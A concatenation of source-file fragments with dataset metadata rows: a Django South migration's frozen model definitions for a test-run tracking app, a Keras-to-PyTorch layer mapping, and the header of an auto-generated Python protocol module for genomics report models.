'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'core.product': {
'Meta': {'ordering': "['name']", 'object_name': 'Product'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 496365)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'has_team': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 496575)'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'own_team': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.User']", 'symmetrical': 'False', 'blank': 'True'})
},
'core.productversion': {
'Meta': {'ordering': "['product', 'order']", 'object_name': 'ProductVersion'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 485617)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'productversion'", 'symmetrical': 'False', 'to': "orm['environments.Environment']"}),
'has_team': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'latest': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 485816)'}),
'order': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'own_team': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.User']", 'symmetrical': 'False', 'blank': 'True'}),
'product': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'versions'", 'to': "orm['core.Product']"}),
'version': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'core.user': {
'Meta': {'object_name': 'User', 'db_table': "'auth_user'", '_ormbases': ['auth.User'], 'proxy': 'True'}
},
'environments.category': {
'Meta': {'ordering': "['name']", 'object_name': 'Category'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 491988)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 492195)'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'})
},
'environments.element': {
'Meta': {'ordering': "['name']", 'object_name': 'Element'},
'category': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'elements'", 'to': "orm['environments.Category']"}),
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 475116)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 475325)'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'})
},
'environments.environment': {
'Meta': {'object_name': 'Environment'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 490959)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'elements': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'environments'", 'symmetrical': 'False', 'to': "orm['environments.Element']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 491167)'}),
'profile': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'environments'", 'null': 'True', 'to': "orm['environments.Profile']"})
},
'environments.profile': {
'Meta': {'object_name': 'Profile'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 488330)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 488519)'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'})
},
'execution.result': {
'Meta': {'object_name': 'Result'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'comment': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'completed': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 489193)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'environment': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'results'", 'to': "orm['environments.Environment']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 489387)'}),
'review': ('django.db.models.fields.CharField', [], {'default': "'pending'", 'max_length': '50', 'db_index': 'True'}),
'reviewed_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'reviews'", 'null': 'True', 'to': "orm['auth.User']"}),
'reviewed_on': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'runcaseversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'results'", 'to': "orm['execution.RunCaseVersion']"}),
'started': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 490234)'}),
'status': ('django.db.models.fields.CharField', [], {'default': "'assigned'", 'max_length': '50', 'db_index': 'True'}),
'tester': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'results'", 'to': "orm['auth.User']"})
},
'execution.run': {
'Meta': {'object_name': 'Run'},
'caseversions': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'runs'", 'symmetrical': 'False', 'through': "orm['execution.RunCaseVersion']", 'to': "orm['library.CaseVersion']"}),
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 481521)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'end': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}),
'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'run'", 'symmetrical': 'False', 'to': "orm['environments.Environment']"}),
'has_team': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 481717)'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'own_team': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.User']", 'symmetrical': 'False', 'blank': 'True'}),
'productversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runs'", 'to': "orm['core.ProductVersion']"}),
'start': ('django.db.models.fields.DateField', [], {'default': 'datetime.date.today'}),
'status': ('django.db.models.fields.CharField', [], {'default': "'draft'", 'max_length': '30', 'db_index': 'True'}),
'suites': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'runs'", 'symmetrical': 'False', 'through': "orm['execution.RunSuite']", 'to': "orm['library.Suite']"})
},
'execution.runcaseversion': {
'Meta': {'ordering': "['order']", 'object_name': 'RunCaseVersion'},
'caseversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runcaseversions'", 'to': "orm['library.CaseVersion']"}),
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 472837)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'runcaseversion'", 'symmetrical': 'False', 'to': "orm['environments.Environment']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 473041)'}),
'order': ('django.db.models.fields.IntegerField', [], {'default': '0', 'db_index': 'True'}),
'run': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runcaseversions'", 'to': "orm['execution.Run']"})
},
'execution.runsuite': {
'Meta': {'ordering': "['order']", 'object_name': 'RunSuite'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 474056)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 474247)'}),
'order': ('django.db.models.fields.IntegerField', [], {'default': '0', 'db_index': 'True'}),
'run': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runsuites'", 'to': "orm['execution.Run']"}),
'suite': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runsuites'", 'to': "orm['library.Suite']"})
},
'execution.stepresult': {
'Meta': {'object_name': 'StepResult'},
'bug_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 494052)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 494259)'}),
'result': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'stepresults'", 'to': "orm['execution.Result']"}),
'status': ('django.db.models.fields.CharField', [], {'default': "'passed'", 'max_length': '50', 'db_index': 'True'}),
'step': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'stepresults'", 'to': "orm['library.CaseStep']"})
},
'library.case': {
'Meta': {'object_name': 'Case'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 484697)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 484889)'}),
'product': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'cases'", 'to': "orm['core.Product']"})
},
'library.casestep': {
'Meta': {'ordering': "['caseversion', 'number']", 'object_name': 'CaseStep'},
'caseversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'steps'", 'to': "orm['library.CaseVersion']"}),
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 480256)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'expected': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'instruction': ('django.db.models.fields.TextField', [], {}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 480519)'}),
'number': ('django.db.models.fields.IntegerField', [], {})
},
'library.caseversion': {
'Meta': {'ordering': "['case', 'productversion__order']", 'object_name': 'CaseVersion'},
'case': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'versions'", 'to': "orm['library.Case']"}),
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 476095)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'caseversion'", 'symmetrical': 'False', 'to': "orm['environments.Environment']"}),
'envs_narrowed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'latest': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 476303)'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'productversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'caseversions'", 'to': "orm['core.ProductVersion']"}),
'status': ('django.db.models.fields.CharField', [], {'default': "'draft'", 'max_length': '30', 'db_index': 'True'}),
'tags': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'caseversions'", 'blank': 'True', 'to': "orm['tags.Tag']"})
},
'library.suite': {
'Meta': {'object_name': 'Suite'},
'cases': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'suites'", 'symmetrical': 'False', 'through': "orm['library.SuiteCase']", 'to': "orm['library.Case']"}),
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 487117)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 487308)'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'product': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'suites'", 'to': "orm['core.Product']"}),
'status': ('django.db.models.fields.CharField', [], {'default': "'draft'", 'max_length': '30', 'db_index': 'True'})
},
'library.suitecase': {
'Meta': {'ordering': "['order']", 'object_name': 'SuiteCase'},
'case': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'suitecases'", 'to': "orm['library.Case']"}),
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 478818)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 479034)'}),
'order': ('django.db.models.fields.IntegerField', [], {'default': '0', 'db_index': 'True'}),
'suite': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'suitecases'", 'to': "orm['library.Suite']"})
},
'tags.tag': {
'Meta': {'object_name': 'Tag'},
'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 492982)'}),
'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}),
'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 493191)'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'product': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['core.Product']", 'null': 'True', 'blank': 'True'})
}
}
complete_apps = ['execution']
| 98.111748 | 218 | 0.570018 | 3,621 | 34,241 | 5.284728 | 0.057995 | 0.100334 | 0.174854 | 0.249791 | 0.877717 | 0.843855 | 0.814015 | 0.80069 | 0.781145 | 0.715249 | 0 | 0.024468 | 0.170439 | 34,241 | 348 | 219 | 98.393678 | 0.649217 | 0.01101 | 0 | 0.40625 | 0 | 0 | 0.623745 | 0.318327 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00625 | false | 0.00625 | 0.0125 | 0 | 0.028125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
0cd6a8d57d6deecb270374c62eac53af5c5f8ab0 | 171 | py | Python | autotesting/benchmarks_ground_truth/densenet_conv_block.py | ualberta-smr/SOAR | 325a6ed2518088b9800299c81271db51b645816a | [
"BSD-3-Clause-Clear"
] | 8 | 2021-01-13T14:59:18.000Z | 2021-06-29T17:01:37.000Z | autotesting/benchmarks_ground_truth/densenet_conv_block.py | squaresLab/SOAR | 72a35a4014d3e74548aab7d2a5cf1bdfaab149c1 | [
"BSD-3-Clause-Clear"
] | null | null | null | autotesting/benchmarks_ground_truth/densenet_conv_block.py | squaresLab/SOAR | 72a35a4014d3e74548aab7d2a5cf1bdfaab149c1 | [
"BSD-3-Clause-Clear"
] | 2 | 2021-01-16T00:09:54.000Z | 2021-08-05T01:14:40.000Z | {'tf.keras.layers.BatchNormalization': ('torch.nn.BatchNorm2d', 8), 'tf.keras.layers.Activation': ('torch.nn.ReLU', 8), 'tf.keras.layers.Conv2D': ('torch.nn.Conv2d', 10)}
| 85.5 | 170 | 0.695906 | 24 | 171 | 4.958333 | 0.5 | 0.176471 | 0.327731 | 0.235294 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04321 | 0.052632 | 171 | 1 | 171 | 171 | 0.691358 | 0 | 0 | 0 | 0 | 0 | 0.760234 | 0.479532 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
0cf38ee364438e001f44d37baa4ee0cb64567779 | 498,744 | py | Python | protocols/reports_6_0_0.py | Lucioric2000/GelReportModels | 1704cdea3242d5b46c8b81ef46553ccae2799435 | [
"Apache-2.0"
] | null | null | null | protocols/reports_6_0_0.py | Lucioric2000/GelReportModels | 1704cdea3242d5b46c8b81ef46553ccae2799435 | [
"Apache-2.0"
] | null | null | null | protocols/reports_6_0_0.py | Lucioric2000/GelReportModels | 1704cdea3242d5b46c8b81ef46553ccae2799435 | [
"Apache-2.0"
] | null | null | null | """
DO NOT EDIT THIS FILE!!
This file is automatically generated by the process_schemas.py program
in the scripts directory. It is not intended to be edited directly. If
you need to update the GEL protocol classes, please run the script
on the appropriate schema version.
"""
from protocols.protocol import ProtocolElement
from protocols.protocol import SearchRequest
from protocols.protocol import SearchResponse
from protocols.protocol import avro_parse
import avro.schema
version = '6.0.0'
class ACMGClassification(object):
"""
No documentation
"""
